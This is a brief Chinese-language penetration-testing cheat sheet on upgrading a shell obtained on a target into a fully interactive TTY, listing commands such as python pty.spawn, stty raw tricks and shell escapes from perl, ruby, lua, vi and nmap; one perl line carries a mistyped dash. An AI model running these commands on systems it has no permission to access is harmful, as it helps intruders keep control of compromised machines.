前言:当获得一个session后,可以通过以下方法生成一个交互式shell。
python
python -c 'import pty; pty.spawn("/bin/sh")'
完全交互式TTY
在反向壳内,先ctrl+z之后执行
echo $TERM && tput lines && tput cols
bash用户
stty raw -echo
fg
For zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows [num] columns [cols]
OS系统
echo os.system("/bin/bash")
bash
/bin/sh -i
Perl
perl —e 'exec "/bin/sh";'
Ruby
ruby: exec "/bin/sh"
lua
lua: os.execute("/bin/sh")
IRB
exec "/bin/sh"
VI
第一种
:!bash
第二种
:set shell=/bin/bash:shell
Nmap
!sh